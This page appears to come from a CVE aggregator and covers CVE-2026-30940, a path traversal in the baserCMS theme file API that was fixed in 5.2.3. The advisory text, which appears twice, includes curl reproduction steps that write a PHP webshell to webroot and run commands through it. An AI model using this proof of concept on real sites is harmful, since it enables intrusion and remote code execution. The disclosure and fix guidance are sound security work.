Every CVE Search/ Get API key

CVE-2026-30940

baserCMS: Path Traversal in Theme File API Leads to Arbitrary File Write and RCE

7.2 HighFix available

baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.07%Up 0.9 points since Mar 31, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

baserCMS: Path Traversal in Theme File API Leads to Arbitrary File Write and RCE

baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Record
CVE-2026-30940
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-73
Updated
2026-11-02
EUVDEUVD-2026-17267 7.2

baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Record
EUVD-2026-17267
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-c5c6-37vq-pjcq 7.2

baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API

Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.

An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

Affected Code

File: plugins/bc-theme-file/src/Service/BcThemeFileService.php

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...
    return $viewPath . $type . DS . $path;  // $path is not sanitized
}

Attack Scenario

  1. The attacker compromises an administrator account (password leak, brute force, etc.)
  2. Obtains an access token via API login
  3. Specifies path: "../../../../webroot/" in the theme file creation API
  4. A PHP file is created in the webroot
  5. The attacker accesses the created PHP file to achieve RCE

Reproduction Steps

# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password"}'

# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"

Vulnerability Details

| Item | Details | |------|---------| | CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path | | Impact | Arbitrary file write, Remote Code Execution (RCE) | | Attack Prerequisites | Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc. | | Reproducibility | High (PoC verified) | | Test Environment | baserCMS 5.x (Docker environment) |

Additional Notes on Attack Prerequisites

  • When API is enabled (USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible.
  • Default settings (USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.

Recommended Fix

Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.

The specific implementation location and method are left to the project's design decisions.

Comparison with Other CMS

WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.

This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."

Resources

This advisory was translated from Japanese to English using GitHub…

Record
GHSA-c5c6-37vq-pjcq
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-73
Updated
2026-11-02
NVD 7.2

baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Record
CVE-2026-30940
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-73
Updated
2026-11-02
OSV 7.2

baserCMS: Path Traversal in Theme File API Leads to Arbitrary File Write and RCE

baserCMS is a website development framework. Prior to version 5.2.3, a path traversal vulnerability exists in the theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write. An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE). This issue has been patched in version 5.2.3.

Record
CVE-2026-30940
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-73
Updated
2026-11-02
OSVGHSA-c5c6-37vq-pjcq 7.2

baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API

Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.

An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

Affected Code

File: plugins/bc-theme-file/src/Service/BcThemeFileService.php

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...
    return $viewPath . $type . DS . $path;  // $path is not sanitized
}

Attack Scenario

  1. The attacker compromises an administrator account (password leak, brute force, etc.)
  2. Obtains an access token via API login
  3. Specifies path: "../../../../webroot/" in the theme file creation API
  4. A PHP file is created in the webroot
  5. The attacker accesses the created PHP file to achieve RCE

Reproduction Steps

# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"password"}'

# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"

Vulnerability Details

| Item | Details | |------|---------| | CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path | | Impact | Arbitrary file write, Remote Code Execution (RCE) | | Attack Prerequisites | Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc. | | Reproducibility | High (PoC verified) | | Test Environment | baserCMS 5.x (Docker environment) |

Additional Notes on Attack Prerequisites

  • When API is enabled (USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible.
  • Default settings (USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.

Recommended Fix

Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.

The specific implementation location and method are left to the project's design decisions.

Comparison with Other CMS

WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.

This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."

Resources

This advisory was translated from Japanese to English using GitHub…

Record
GHSA-c5c6-37vq-pjcq
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-73
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
baserproject/basercms
Packagist
through 5.2.2
5.2.3
baserproject/basercms
Packagist
before 5.2.3, plus listed versions
0.0.10.0.20.0.30.0.40.0.5
Show 45 moreShow less
0.0.60.0.70.0.81.0.02.0.0-rc12.0.0-rc22.0.0-rc32.0.0-rc42.0.0-rc52.0.0-rc63.0.103.0.10.13.0.113.0.11.13.0.123.0.133.0.143.0.153.0.163.0.173.0.183.0.193.0.203.0.213.0.223.0.233.0.243.0.253.0.263.0.73.0.7.13.0.83.0.8.13.0.93.0.9.14.0.04.0.0-beta4.0.14.0.104.0.10.14.0.114.0.24.0.2.14.0.34.0.4
5.2.3

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-30940 is a high vulnerability (CVSS 7.2) in Basercms, published March 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.07%, the 64th percentile. Fixed in baserproject/basercms 5.2.3.

References

This page doesn't list everything

Left out here: 105 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open